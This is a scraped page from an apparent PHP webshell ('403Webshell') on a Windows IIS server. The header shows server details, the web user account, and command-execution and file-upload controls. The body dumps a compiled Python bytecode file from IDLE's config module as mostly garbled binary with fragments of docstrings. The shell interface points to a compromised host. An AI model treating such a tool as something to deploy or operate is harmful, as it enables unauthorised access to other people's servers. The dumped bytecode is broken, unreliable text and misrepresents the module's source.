403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/idlelib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/idlelib/__pycache__/config.cpython-315.opt-1.pyc
R
>lqje�c�>�Qs]QHGs]PHs]PHs]QHGs]PHsQQ\2s	QQ\2s
QQ\2sQ	Q
\2sQQ\2s
Q
Q2s\2s\2sQsQQ\2sQs\Q6Xc]QH\Gs\Q]P
Q5\2P!P!)aDidlelib.config -- Manage IDLE configuration information.

The comments at the beginning of config-main.def describe the
configuration files and the design implemented to update user
configuration information.  In particular, user configuration choices
which duplicate the defaults will be removed from the user's
configuration files, and if a user file becomes empty, it will be
deleted.

The configuration database maps options to values.  Conceptually, the
database keys are tuples (config-type, section, item).  As implemented,
there are  separate dicts for default and user values.  Each has
config-type keys 'main', 'extensions', 'highlight', and 'keys'.  The
value for each key is a ConfigParser instance that maps section and item
to values.  For 'main' and 'extensions', user values override
default values.  For 'highlight' and 'keys', user sections augment the
default sections (and must, therefore, have distinct names).

Throughout this module there is an emphasis on returning usable defaults
when a problem occurs in returning a requested configuration value back to
idle. This is to allow IDLE to continue to function in spite of errors in
the retrieval of config information. When a default is returned instead of
a requested config value, a message is printed to stderr to aid in
configuration problem notification and resolution.
)�ConfigParser)�Fontc��\sQs]#sQsP!)�InvalidConfigType���__name__�
__module__�__qualname__�__firstlineno__�__static_attributes__r��#C:\Python315\\Lib\idlelib\config.pyrr#s��Drrc��\sQs]$sQsP!)�InvalidConfigSetrrrrr
rr$s��4rrc��\sQs]%sQsP!)�InvalidThemerrrrr
rr%s��trrc�F`�\sQs]'snQsQQksQQksQsQsQs	Us
P!)	�IdleConfParserzA
A ConfigParser specialised for idle configuration file handling
c�D�Vm[OVP
Q5P!)z;
cfgFile - string, fully specified configuration file name
)�defaults�strict)�filer�__init__)�self�cfgFile�cfgDefaultss&&&r
r�IdleConfParser.__init__+s���	����d��Grc��UOV2%fU!UQ6XcUOV2!UQ6XcUOV2!UOVUQ5!)zg
Get an option value for given section/option or return default.
If type is specified, return as type.
�bool�int��raw)�
has_option�
getboolean�getint�get)r�section�option�type�defaultr!s&&&&&&r
�Get�IdleConfParser.Get2sW�����w�/�/��N��6�>��?�?�7�3�3�
�U�]��;�;�w�/�/��8�8�G��8�5�5rc�X�UOU2%cUOU2!,!)z4Return a list of options for given section, else [].)�has_section�options�rr&s&&r
�
GetOptionList�IdleConfParser.GetOptionListCs'�����G�$�$��<�<��(�(��Irc�.�UO%cn[OOUO2%c=[	UOQQQ59^tt^2oUOU2PPP2P!P!P!)%fhP!9h)z&Load the configuration file from disk.�utf-8�replace)�encoding�errors)r�os�path�exists�open�	read_file)r�fs& r
�Load�IdleConfParser.LoadJs\���9�9�9�������	�	�2�2��d�i�i�'�)�D�D�����q�!�E�D�3�9�D�D�D�s�#B�B	�B	�r�N)NNF)rrr	r
�__doc__rr*r0r=r�__classdictcell__��
__classdict__s@r
rr's$�����H�6�"�"�"rrc�J`�\sQs]PsnQsQsQsQsQsQs	Qs
QsUsP!)	�IdleUserConfParserz?
IdleConfigParser specialised for user configuration handling.
c��UOV2%c-UOV2U6XcP
!UOVU2P	!UOU2%fUO	U2UOVU2P	!)z�Return True if option is added or changed to value, else False.

Add section if required.  False means option already had value.
)r"r%�setr-�add_section)rr&r'�values&&&&r
�	SetOption�IdleUserConfParser.SetOptionUsh��
�?�?�7�+�+��x�x��(�E�1������%�0���#�#�G�,�,�� � ��)��H�H�W�e�,�rc�X�UOU2%cUOV2!P
!)z{Return True if option is removed from section, else False.

False if either section does not exist or did not have option.
)r-�
remove_option)rr&r's&&&r
�RemoveOption�IdleUserConfParser.RemoveOptionfs)��
���G�$�$��%�%�g�6�6�rc�\�UOU2%fUOU2P!P!)z!If section doesn't exist, add it.)r-rIr/s&&r
�
AddSection�IdleUserConfParser.AddSectionos&������(�(����W�%�)rc��UO2FD-oUOU2%cJUOU2J/	P!)z)Remove any sections that have no options.)�sectionsr0�remove_sectionr/s& r
�RemoveEmptySections�&IdleUserConfParser.RemoveEmptySectionsts1���}�}��G��%�%�g�.�.��#�#�G�,�'rc�N�UO2UO2%(!)z9Return True if no sections after removing empty sections.)rWrU�rs&r
�IsEmpty�IdleUserConfParser.IsEmptyzs��� � �"��=�=�?�"�"rc��UOoU%c�U]*Q6wc�UO2%f6[UQQQ5oU9^tt^2UO
U2PPP2P![OOUO2%c#[OUO2P!P!P!P![c([O
S2[SQQQ5oK�h9h)%fhP!9h)z�Update user configuration file.

If self not empty after removing empty sections, write the file
to disk. Otherwise, remove the file from disk if it exists.
�#�wr3�r5)
rr[r:�OSErrorr7�unlink�writer8r9�remove)r�fnamers&  r
�Save�IdleUserConfParser.Saves����	�	���U�1�X��_��<�<�>�>�A�"�5�#��@�G��W��J�J�w�'��W�������	�	�*�*��	�	�$�)�)�$�+�%�5���A��I�I�e�$�"�5�#��@�G�A���W�W�s)�C�C;�	C8�%C8�7C8�;D	�D	r)
rrr	r
rArKrOrRrWr[rfrrBrCs@r
rFrFPs-������"�&�
-�#�
%�%rrFc��`�\sQs]�snQsQQksQsQsQ QksQs	Qs
QsQ	sQ
s
QsQs\Q
2sQ!QksQsQsQsQsQsQsQsQsQs.Q"lsQ#QksQsQsQs Qs!Qs"Qs#Us$P!)$�IdleConfaPHold config parsers for all idle config files in singleton instance.

Default config files, self.defaultCfg --
    for config_type in self.config_types:
        (idle install dir)/config-{config-type}.def

User config files, self.userCfg --
    for config_type in self.config_types:
    (user home dir)/.idlerc/config-{config-type}.cfg
c��QUm-Um-Um-UmU%f#UO	2UO2P!P!)�main)rk�	highlight�keys�
extensions)�config_types�
defaultCfg�userCfg�cfg�CreateConfigHandlers�LoadCfgFiles)r�_utests&&r
r�IdleConf.__init__�sA��G������������
��%�%�'�����rc
���[OO[2o[O
%cPLUO
29UmoUOFD�o[[OOUQUQ022UOU$[[OOS9%fQQUQ022UOU$J�	P!)z5Populate default and user config parser dictionaries.zconfig-z.defr^z.cfg)r7r8�dirname�__file__�idlelib�testing�
GetUserCfgDir�userdirror�joinrprFrq)r�idledirr}�cfg_types&   r
rs�IdleConf.CreateConfigHandlers�s����'�'�/�/�(�+��'.�����D�<N�<N�<P�P���w��)�)�H�(6������W���z��&>�?�)A�D�O�O�H�%�%7������W�^�^��w�x�j��-E�F�&H�D�L�L��"�*rc�$�Qo[OOQ2oUQ6wcj[OOU2%fE[O
%f-QU*Q*o[
U[OQ5QoUQ6Xc[O2o[OOV!2o[OOU2%f[OU2U!U![cK�h9h[cf[O
%fIQS*Q*o[
S[OQ5[g[c	[gh9h[gh9h)zVReturn a filesystem directory for storing user config files.

Creates it if required.
z.idlerc�~z.
 Warning: os.path.expanduser("~") points to
 z,
 but the path does not exist.r?z2
 Warning: unable to create user config directory
z(
 Check path and permissions.
 Exiting!
)r7r8�
expanduserr9rzr{�print�sys�stderrra�getcwdr~�mkdir�
SystemExit)r�cfgDir�userDir�warns&   r
r|�IdleConf.GetUserCfgDir�sA��
���'�'�$�$�S�)���c�>��7�7�>�>�'�*�*�����N�#�$�&H�I�D���d����4����c�>��i�i�k�G��'�'�,�,�w�/���w�w�~�~�g�&�&�

!�����!���w���)#������
!�����R�#�$�&S�T�D���d����4�!� ��#��� � ��� � �
!�sZ�6D�4D�	D�D�D�	F�)F�F�E2�,F�2	F�<F�=F�F�
Fc�H�UOU*OV#2%c%UOU*OV#VWQ5!UO
U*OV#2%c%UO
U*OV#VWQ5!U%cQU8QU8QU80o[	V�V#2U![cDQS8QS8QS8QSOS*OX#SQ580o[	X�X#2K�h9h[cK�h9h)	a�Return a value for configType section option, or default.

If type is not None, return a value of that type.  Also pass raw
to the config parser.  First try to return a valid value
(including type) from a user configuration. If that fails, try
the default configuration. If that fails, return default, with a
default of None.

Warn if either user or default configurations have an invalid value.
Warn if default is returned and warn_on_default is True.
)r(r!z5
 Warning: config.py - IdleConf.GetOption -
 invalid z  value for configuration option z
 from section z: r zU
 Warning: config.py - IdleConf.GetOption -
 problem retrieving configuration option �.
 returning default value: )rqr"r*�
ValueError�_warnrp)	r�
configTyper&r'r)r(�warn_on_defaultr!�warnings	&&&&&&&& r
�	GetOption�IdleConf.GetOption�s��
	8��|�|�J�'�2�2�7�C�C��|�|�J�/�3�3�G�9=�4�H�H�D�	����z�*�5�5�g�E�E����z�2�6�6��d�7�=�=�F��?�
���	2�G�

�'�w�7����+�	8��f�g��|�|�J�/�3�3�G��3�M�	O�G�

�'�w�7�
	8���	��	�s;�'C�#C�'D�9#D�	D�AD�D�	D!�D!� D!c�N�UOU*OV#U2P!)z0Set section option to value in user config file.)rqrK)rr�r&r'rJs&&&&&r
rK�IdleConf.SetOptions�����Z� �*�*�7�E�Brc��V O7f[Q2gUQ6Xc$UOU*oUO2!UQ6Xc$UOU*oUO2![	Q2g)z�Return sections for configSet configType configuration.

configSet must be either 'user' or 'default'
configType must be in self.config_types.
zInvalid configType specified�userr)�Invalid configSet specified)rorrqrprrU)r�	configSetr��	cfgParsers&&& r
�GetSectionList�IdleConf.GetSectionListsz���/�/�/�#�$B�C�C�������Z�0�I�
�!�!�#�#�	�)�
#��o�o�j�1�I��!�!�#�#�#�#@�A�Arc���UOQ*OU2%cQLQoUOV12oVBQ**oUQ6XcQoVBQ**oQUQ	U-!)
z�Return dict of theme element highlight colors.

The keys are 'foreground' and 'background'.  The values are
tkinter color strings for configuring backgrounds and tags.
rlr)r�z-foreground�cursor�normalz-background�
foreground�
background)rpr-�GetThemeDict)r�theme�elementrr�
theme_dict�fore�backs&&&    r
�GetHighlight�IdleConf.GetHighlightsn��!�O�O�K�8�D�D�U�K�K�y��	��&�&�s�2�
��M�1�2���h���G��M�1�2���d�L�$�7�7rc��UQ6XcUOQ*oL&UQ6XcUOQ*oL[Q2g-QQaQQaQ	QaQ
QaQQaQQaQ
QaQQaQQaQQaQQaQQaQQaQQaQQaQQaQQaQQQQQQQQQQQQQQQ QQ!QQ"QQ#QQ$QQ%QQ&Q-AoSFDmoUOV%2%f9UO	Q+2%f"Q'U8Q(U8Q)VE*80o[UQV%2UO
V%VE*Q*5VE$Jo	U!),aReturn {option:value} dict for elements in themeName.

type - string, 'default' or 'user' theme type
themeName - string, theme name
Values are loaded over ultimate fallback defaults to guarantee
that all theme elements are present in a newly created theme.
r�rlr)zInvalid theme type specifiedznormal-foregroundz#000000znormal-backgroundz#ffffffzkeyword-foregroundzkeyword-backgroundzbuiltin-foregroundzbuiltin-backgroundzcomment-foregroundzcomment-backgroundzstring-foregroundzstring-backgroundzdefinition-foregroundzdefinition-backgroundzhilite-foregroundzhilite-background�grayzbreak-foregroundzbreak-backgroundzhit-foregroundzhit-backgroundzerror-foregroundzerror-backgroundzcontext-foregroundzcontext-backgroundzlinenumber-foregroundzlinenumber-backgroundzcursor-foregroundzstdout-foregroundzstdout-backgroundzstderr-foregroundzstderr-backgroundzconsole-foregroundzconsole-backgroundzL
 Warning: config.IdleConf.GetThemeDict -
 problem retrieving theme element z
 from theme z.
 returning default color: �r))zcontext-zlinenumber-)rqrprr"�
startswithr�r*)rr(�	themeNamer�r�r�r�s&&&    r
r��IdleConf.GetThemeDict#s����6�>����[�1�I�
�Y�
�����4�I��=�>�>�!�#�I�!�#�I�!�$�Y�!�%�Y�!�%�Y�	!�
%�Y�!�%�Y�
!�%�Y�!�$�I�!�$�I�!�(�	�!�(�	�!�$�I�!�$�F�!�#�9�!�#�9�!� !��!!�"!��"�9�"�9�$�Y�$�Y�'�	�'�	�#�I�#�I�#�I�#�I�#�I�$�Y�$�Y�A!��D�G��(�(��<�<��&�&�'B�C�C�$�Y���	@��
�g�{�I�?�&�]�]����+�@�E�N���rc�&�UOQ2!)z9Return the name of the currently active text color theme.�Theme��current_colors_and_keysrZs&r
�CurrentTheme�IdleConf.CurrentThemegs���+�+�G�4�4rc�&�UOQ2!)z0Return the name of the currently active key set.�Keysr�rZs&r
�CurrentKeys�IdleConf.CurrentKeysks���+�+�F�3�3rc�~�UQ6XcQLQoUOQUQQP	Q5oPoU%cUOQUQPQ	5oU%fUOQUQ
PQ	5oU%c@U%c
UOLUOoVR*OU2%cU!UQ6XcQ!UO	2!)a~Return the currently active name for Theme or Keys section.

idlelib.config-main.def ('default') includes these sections

[Theme]
default= 1
name= IDLE Classic
name2=

[Keys]
default= 1
name=
name2=

Item 'name2', is used for built-in ('default') themes and keys
added after 2015 Oct 1 and 2016 July 1.  This kludge is needed
because setting 'name' to a builtin not defined in older IDLEs
to display multiple error messages or quit.
See https://bugs.python.org/issue25313.
When default = True, 'name2' takes precedence over 'name',
while older IDLEs will just use name.  When default = False,
'name2' may still be set, but it is ignored.
r�rlrmrkr)r�r(r)�name2r��namezIDLE Classic)r�rprqr-�default_keys)rr&�cfgnamer)r��sources&&    r
r�� IdleConf.current_colors_and_keysos���0")�G�!3�+����.�.���)�&,�d�!�<������>�>�&�'�7�B�>�G�D���>�>�&�'�6�2�>�F�D��(/�T�_�_�T�\�\�F���*�*�4�0�0���!(�G�!3�~�L��9J�9J�9L�Lrc�r�[OQ*Q6XcQ![OQ6XcQ!Q!):N�N�winzIDLE Classic Windows�darwinzIDLE Classic OSXzIDLE Modern Unix)r��platformrrr
r��IdleConf.default_keys�s(���<�<���u�$�)�
�\�\�X�
%�%�%rc�.�UOUOQQ22oUOUOQQ22oSFDoVd7fJUOU2J	Q
FDoUOU2J	U%c�,oSFD�oUO	QUQP	QQ5%fJ!U%f	U%c?U%cQoLQoUO	QVhP	QP
Q	5%cUOU2JmJoUOU2J�	U!U!)z�Return extensions in default and user config-extensions files.

If active_only True, only return active (enabled) extensions
and optionally only editor or shell extensions.
If active_only False, return all extensions.
r)rnr��enabler�r)r(�
enable_editor�enable_shell)r)r(r�)�AutoComplete�CodeContext�FormatParagraph�
ParenMatch)�RemoveKeyBindNamesr��appendrdr�)	r�active_only�editor_only�
shell_only�extns�	userExtns�extn�activeExtnsr's	&&&&     r
�
GetExtensions�IdleConf.GetExtensions�s���'�'��#�#�I�|�<�>���+�+��#�#�F�L�9�;�	��D�� ����T�"��5�D��L�L���5�
��K����>�>�,��h��'-�"�/�/�#�j�&�%4�F�%3�F��>�>�,��26�V�:?�*�A�A�(�.�.�t�4�A�
$�*�*�4�0�����Lrc�d�STt,tFDp"OQ2%cJUMJ	to!ttoh)z:Return extnNameList with keybinding section names removed.)�	_bindings�_cfgBindings)�endswith)r�extnNameList�ns&& r
r��IdleConf.RemoveKeyBindNames�s&��'�Y�<�a�z�z�:W�/X���<�Y�Y��Ys�-�-c��PoQU*Q*oUO]Q5FD&oUOU2FD
oVS6XfJSoJ	J(	U!)z�Return the name of the extension binding virtualEvent, or None.

virtualEvent - string, name of the virtual event to test for,
               without the enclosing '<< >>'
�<<�>>�r�)r��GetExtensionKeys)r�virtualEvent�extName�vEventr��events&&    r
�GetExtnNameForEvent�IdleConf.GetExtnNameForEvent�sV������$�t�+���&�&�1�&�5�D��.�.�t�4���?�"�G�5�6��rc�
�UQ0oUO2o-o[2oUOQ*OU2%c3U[UOQ*O	U22*oUO
Q*OU2%c3U[UO
Q*O	U22*oSFD%oQUQ0oUO
UP2oUeJ!V�U$J'	U!)z�Return dict: {configurable extensionName event : active keybinding}.

Events come from default config extension_cfgBindings section.
Keybindings come from GetCurrentKeySet() active key dict,
where previously used bindings are disabled.
r�rnr�r�)�GetCurrentKeySetrHrqr-r0rpr%)	r�
extensionName�bindings_section�current_keyset�extension_keys�event_names�
event_namer��bindings	&&       r
r��IdleConf.GetExtensionKeys�s���,�_�L�9���.�.�0�����e���<�<��%�1�1�2B�C�C��3����\�*�8�8�9I�J��
�K��?�?�<�(�4�4�5E�F�F��3�����-�;�;�<L�M��
�K�&�J����B�'�E�$�(�(���5�G����$+�5�!�&��rc	��UQ0o-o[2oUOQ*OU2%c3U[UOQ*OU22*oUOQ*OU2%c3U[UOQ*OU22*oSFD0oUOQUUPQ5O
2oQUQ0oVcU$J2	U!)z�Return dict {configurable extensionName event : keybinding list}.

Events come from default config extension_cfgBindings section.
Keybindings list come from the splitting of GetOption, which
tries user config before default config.
r�rnr�r�r�)rHrqr-r0rpr��split)r�extension_namer�r�r�r�r�r�s&&      r
�__GetRawExtensionKeys�IdleConf.__GetRawExtensionKeys�s���-�-�\�:�����e���<�<��%�1�1�2B�C�C��3����\�*�8�8�9I�J��
�K��?�?�<�(�4�4�5E�F�F��3�����-�;�;�<L�M��
�K�&�J��n�n�� ���	%��
�e�g�
����B�'�E�$+�5�!�&��rc	��UQ0oUOU2o[2oUOQ*OU2%c3U[UOQ*O	U22*oUO
Q*OU2%c3U[UO
Q*O	U22*oSFD0oUO
QUUPQ5O2oQUQ0oVcU$J2	U!)z�Return dict {extensionName event : active or defined keybinding}.

Augment self.GetExtensionKeys(extensionName) with mapping of non-
configurable events (from default config) to GetOption splits,
as in self.__GetRawExtensionKeys.
r�rnr�r�r�)r�rHrqr-r0rpr�r�)rr�r�r�r�r�r�r�s&&      r
�GetExtensionBindings�IdleConf.GetExtensionBindingss��,�_�I�6���.�.�}�=���e���<�<��%�1�1�2B�C�C��3����\�*�8�8�9I�J��
�K��?�?�<�(�4�4�5E�F�F��3�����-�;�;�<L�M��
�K�&�J��n�n�� ���	%��
�e�g�
����B�'�E�$+�5�!�&��rc�X�U]QoUOQVPP
Q5O2oU!)z�Return the keybinding list for keySetName eventStr.

keySetName - name of key binding set (config-keys section).
eventStr - virtual event, including brackets, as in '<<event>>'.
rm)r)r����)r�r�)r�
keySetName�eventStr�	eventNamer�s&&&  r
�
GetKeyBinding�IdleConf.GetKeyBinding5s:���Q�r�N�	��.�.����16�!�8�8=���	��rc
��UOUO22o[OQ6XcHUO	2FD2vq#STt,tFDpDOQQ2MJ	ooV56wfJ.VQU$J4	U!ttoh)z/Return CurrentKeys with 'darwin' modifications.r�z<Alt-z<Option-)�	GetKeySetr�r�r��itemsr4)r�result�k�v�x�v2s&     r
r��IdleConf.GetCurrentKeySet@so������ 0� 0� 2�3���<�<�8�#�������?@�B�q�!�y�y��*�5�q��B��7� "�1�I�'�
�
��	Cs�A?c��UOU2oUO]Q5oSFDQoUOU2oU%fJSFD,oVV*UO27cPVV$VV*V&$J.	JS	U!)z�Return event-key dict for keySetName core plus active extensions.

If a binding defined in an extension is already in use, the
extension binding is disabled by being set to ''
r�)�GetCoreKeysr��_IdleConf__GetRawExtensionKeys�values)rr�keySetr�r��extKeysr�s&&     r
r�IdleConf.GetKeySetQsw���!�!�*�-���(�(�Q�(�7���D��0�0��6�G��w�$�E��~�����8�)+���$+�N�F�M�	%� ��
rc�F�QU*Q*UO27!)z�Return True if the virtual event is one of the core idle key events.

virtualEvent - string, name of the virtual event to test for,
               without the enclosing '<< >>'
r�r�)r)rr�s&&r
�
IsCoreBinding�IdleConf.IsCoreBindingcs"���\�!�$�&�4�+;�+;�+=�=�=rc�z�-QQQ,aQQQ,aQQQ	,aQ
QQ,aQ
Q,aQQ,aQQ,aQQ,aQQ,aQQ,aQQ,aQQ,aQQ,aQQ,aQQ ,aQ!Q",aQ#Q$,a-Q%Q&,aQ'Q(,aQ)Q*,aQ+Q,,aQ-Q.,aQ/Q0,aQ1Q2,aQ3Q4,aQ5Q6,aQ7Q8,aQ9Q:,aQ;Q<,aQ=Q>,aQ?Q@QA,aQBQC,aQDQE,aQFQG,aA-QHQI,aQJQK,aQLQM,aQNQOQP,aQQQR,aQSQT,aQUQV,aQWQX,aQYQZ,aQ[Q\,aQ]Q^,aQ_Q`,aQaQb,aQcQd,aQeQf,aQgQh,aQiQj,aAQkQl,QmQn,QoQp,QqQr,QsQt,QuQv,QwQx,-AoU%c�UOQy*OU2%f?UOQy*OU2%fQzU8Q{0o[UQyU2U!SFDUoUO	V2oU%cVRU$J"V@O
7fJ4Q|U8Q}U8Q~V$*80o[UQyV2JW	U!)ajReturn dict of core virtual-key keybindings for keySetName.

The default keySetName None corresponds to the keyBindings base
dict. If keySetName is not None, bindings from the config
file(s) are loaded _over_ these defaults, so if there is a
problem getting any core binding there will be an 'ultimate last
resort fallback' to the CUA-ish bindings defined here.
z<<copy>>z<Control-c>z<Control-C>z<<cut>>z<Control-x>z<Control-X>z	<<paste>>z<Control-v>z<Control-V>z<<beginning-of-line>>z<Control-a>z<Home>z<<center-insert>>z<Control-l>z<<close-all-windows>>z<Control-q>z<<close-window>>z<Alt-F4>z<<do-nothing>>z<<end-of-file>>z<Control-d>z<<python-docs>>z<F1>z<<python-context-help>>z
<Shift-F1>z<<history-next>>z<Alt-n>z<<history-previous>>z<Alt-p>z<<interrupt-execution>>z<<view-restart>>z<F6>z<<restart-shell>>z<Control-F6>z<<open-class-browser>>z<Alt-c>z<<open-module>>z<Alt-m>z<<open-new-window>>z<Control-n>z<<open-window-from-file>>z<Control-o>z<<plain-newline-and-indent>>z<Control-j>z<<print-window>>z<Control-p>z<<redo>>z<Control-y>z<<remove-selection>>z<Escape>z<<save-copy-of-window-as-file>>z
<Alt-Shift-S>z<<save-window-as-file>>z<Alt-s>z<<save-window>>z<Control-s>z<<select-all>>z<Alt-a>z<<toggle-auto-coloring>>z<Control-slash>z<<undo>>z<Control-z>z<<find-again>>z<Control-g>z<F3>z<<find-in-files>>z<Alt-F3>z<<find-selection>>z<Control-F3>z<<find>>z<Control-f>z<<replace>>z<Control-h>z
<<goto-line>>z<Alt-g>z<<smart-backspace>>z<Key-BackSpace>z<<newline-and-indent>>z<Key-Return>z<Key-KP_Enter>z<<smart-indent>>z	<Key-Tab>z<<indent-region>>z<Control-Key-bracketright>z<<dedent-region>>z<Control-Key-bracketleft>z<<comment-region>>z<Alt-Key-3>z<<uncomment-region>>z<Alt-Key-4>z<<tabify-region>>z<Alt-Key-5>z<<untabify-region>>z<Alt-Key-6>z<<toggle-tabs>>z<Alt-Key-t>z<<change-indentwidth>>z<Alt-Key-u>z<<del-word-left>>z<Control-Key-BackSpace>z<<del-word-right>>z<Control-Key-Delete>�<<force-open-completions>>z<Control-Key-space>�<<expand-word>>z<Alt-Key-slash>�<<force-open-calltip>>z<Control-Key-backslash>�<<flash-paren>>z<Control-Key-0>�<<format-paragraph>>z<Alt-Key-q>�<<run-module>>z<Key-F5>�<<run-custom>>z<Shift-Key-F5>�<<check-module>>z<Alt-Key-x>�<<zoom-height>>z<Alt-Key-2>rmz7
 Warning: config.py - IdleConf.GetCoreKeys -
 key set z( is not defined, using default bindings.zX
 Warning: config.py - IdleConf.GetCoreKeys -
 problem retrieving key binding for event z
 from key set r�)rqr-rpr�r	�former_extension_events)rr�keyBindingsr�r�r�s&&    r
r�IdleConf.GetCoreKeysus ��<���
�6�<�
�
�}�5�<�
�-��7�	<�

$�m�X�%>�<�
 �-��
<�
$�m�_�<�
���<�
�}�o�<�
�
��<�
��x�<�
&��~�<�
���<�
#�Y�K�<�
&�
��<� 
���!<�"
 �.�!1�#<�$
%�y�k�%<�&
�	�{�'<�(
"�M�?�)<�*
(�-��+<�,
+�]�O�-<�.
���/<�0
���1<�2
#�Z�L�3<�4
.��/@�5<�6
&�	�{�7<�8
�
��9<�:
�y�k�;<�<
'�):�(;�=<�>
���?<�@
�}�f�5�A<�B
 �*��C<�D
!�>�"2�E<�F
���G<�H
�M�?�I<�J
�i�[�K<�L
"�$5�#6�M<�N
%�~�7G�&H�O<�P
��
�Q<�R
 �">�!?�S<�T
 �"=�!>�U<�V
!�=�/�W<�X
#�]�O�Y<�Z
 �-��[<�\
"�M�?�]<�^
�
��_<�`
%�}�o�a<�b
 �";�!<�c<�d
!�#9�":�e<�f
)�+@�*A�g<�h
� 1�2�i<�j
%�'@�&A�� 1�2�"�]�O��z�l��/�0�����
��w<��|��L�L��(�4�4�Z�@�@��O�O�F�+�7�7�
�C�C� �"��
�g�v�z�2� ��)�E�"�0�0��C�G��-4�E�*��&B�&B�B�#�J��0B�	D� ��g�v�z�A�)��rc��,oUQ6XcUOQ*oL&UQ6XcUOQ*oL[Q2gUOQ2oSFD�oUO	QUQQ5oUOQ2P6XcPoPoL?UO
Q2oU]*O2oU]*O2oU%fJ{U%fJ�UOVxU12J�	UOQQ	5U!)
a�Return list of extra help sources from a given configSet.

Valid configSets are 'user' or 'default'.  Return a list of tuples of
the form (menu_item , path_to_help_file , option), or return the empty
list.  'option' is the sequence number of the help resource.  'option'
values determine the position of the menu items on the Help menu,
therefore the returned list must be sorted by 'option'.

r�rkr)r��	HelpFiles�;r�c��U]*!)�r)rs&r
�<lambda>�1IdleConf.GetExtraHelpSourceList.<locals>.<lambda>�s��q��tr)�key)
rqrprr0r*�findr��stripr��sort)	rr��helpSourcesr�r.r'rJ�menuItem�helpPaths	&&       r
�GetExtraHelpSourceList�IdleConf.GetExtraHelpSourceList�s�����������V�,�I�
�)�
#�����/�I�"�#@�A�A��'�'��4���F��-�-��V�S�-�A�E��z�z�#��"�$������k�k�#�&���q����)���q����)���x�H�H��"�"�X�v�$>�@��	���^��,��rc�V�UOQ2UOQ2*oU!)zvReturn a list of the details of all additional help sources.

Tuples in the list are those of GetExtraHelpSourceList.
r)r�)r9)r�allHelpSourcess& r
�GetAllExtraHelpSourcesList�#IdleConf.GetAllExtraHelpSourcesList�s-��
�5�5�i�@��+�+�F�3�4���rc�B�UOV#QQQ5oUOV#QQQQ5oUOV#Q]Q	Q
5oUQ6XcL[QP	UQ5o[OU2oUQ
*oUQ*oU]6:c]
oUQ*Q6HoXEU%cQ1!Q1!)aORetrieve a font from configuration (font, font-size, font-bold)
Intercept the special value 'TkFixedFont' and substitute
the actual font, factoring in some tweaks if needed for
appearance sakes.

The 'root' parameter can normally be any valid Tkinter widget.

Return a tuple (family, size, weight) suitable for passing
to tkinter.Font
�font�courierr�z	font-sizer�10r�z	font-boldrr��TkFixedFont)r�r9�root�family�size�weight�boldr�)r�r�actual)	rrDr�r&rErFrHr<�
actualFonts	&&&&     r
�GetFont�IdleConf.GetFonts������
�V�Y��O���~�~�j�;�U�&*��,���~�~�j�;��#)��+���m�#��-��4�@�A����Q��J���)�F��f�%�D��q�y����h�'�6�1�D���f�;�;�(�;�;rc��UOFDEoUOU*O2UOU*O2JG	P!)zLoad all configuration files.)rpr=rq�rr2s& r
rt�IdleConf.LoadCfgFiless:���?�?�C��O�O�C� �%�%�'��L�L���"�"�$�#rc�r�UOFD$oUOU*O2J&	P!)z2Write all loaded user configuration files to disk.)rqrfrNs& r
�SaveUserCfgFiles�IdleConf.SaveUserCfgFiles s%���<�<�C��L�L���"�"�$� r)rrrorprqr})F)NNTF)TFF>	r%r$r r"r'r&r#r!rr@)%rrr	r
rArrsr|r�rKr�r�r�r�r�r��staticmethodr�r�r�r�r�rrr	r�rrr(rr9r=rKrtrQrrBrCs@r
riri�s�����	� �H�"�H&�PC�$� 
8�B�H5�4�$M�L�&��&�'�RZ���:�>�@	��"�$>���`�D�@�<�4%�%�%rric��U1U*oU[7c4[U[OQ5[OU2P!P![cK&h9h)r?)�_warnedr�r�r�ra�add)�msgr2s&*r
r�r�)sO���&�3�,�C�
�'��	��#�C�J�J�'�	���C�����	��	�s�A�	A�A�Ac�T`�\sQsQsnQsQsQs\Q2sQs	Qs
QsQ	sUs
P!)
�
ConfigChanges�3a�Manage a user's proposed configuration option changes.

Names used across multiple methods:
    page -- one of the 4 top-level dicts representing a
            .idlerc/config-x.cfg file.
    config_type -- name of a page.
    section -- a section within a page/file.
    option -- name of an option within a section.
    value -- value for the option.

Methods
    add_option: Add option and value to changes.
    save_option: Save option and value to config parser.
    save_all: Save all the changes to the config parser and file.
    delete_section: If section exists,
                    delete from changes, userCfg, and file.
    clear: Clear all changes by clearing each page.
c��,Um[OFD(o-V$UOOV*2J*	P!)z)Create a page for each configuration file)�pages�idleConfror�)r�config_types& r
r�ConfigChanges.__init__Fs6����
�#�0�0�K� "�D���J�J���d�/�0�1rc�X�V*o[U2oV%7c-VR$VEU*U$P!)z0Add item/value pair for config_type and section.)�str)rr^r&�itemrJ�pages&&&&& r
�
add_option�ConfigChanges.add_optionMs,��� ���E�
�����D�M�#�W�
�d�rc�L�[OU*OV2%cR[OU*OV2U6Xc'[OU*OV2![OU*O
VU2!)zSReturn True if the configuration value was added or changed.

Helper for save_all.
)r]rpr"r*rqrOrK)r^r&rbrJs&&&&r
�save_option�ConfigChanges.save_optionUsx�����{�+�6�6�w�E�E��"�"�;�/�3�3�G�B�e�K��'�'��4�A�A�'�P�P�����,�6�6�w�e�L�Lrc�H�[OQ*O2P
oSFD�oP
oV*oSFDnoUQ6Xc)[OQ*OQ2P	oVE*O	2FD!vqgUOV%Vg2%fJP	oJ#	Jp	U%fJ�[OU*O2P	oJ�	QFD(o[OU*O2J*	UO
2U!)z�Save configuration changes to the user config file.

Clear self in preparation for additional changes.
Return changed for testing.
rkr,)rmrl)r]rqrfrVr
rg�clear)r�changedr^�cfg_type_changedrcr&rbrJs&       r
�save_all�ConfigChanges.save_allbs���	���� �%�%�'����K�$���$�D����k�)��$�$�V�,�;�;�K�H�'+�$�#'�=�#6�#6�#8�K�D��'�'��d�J�J�+/�(�$9�	 � ��� � ��-�2�2�4��� �1�K����[�)�.�.�0�1�	
�
�
���rc��V U*7c
V*U[OU*oUOU2UO2P!)zZDelete a section from self, userCfg, and file.

Used to delete custom themes and keysets.
)r]rqrVrf)rr^r&�
configpages&&& r
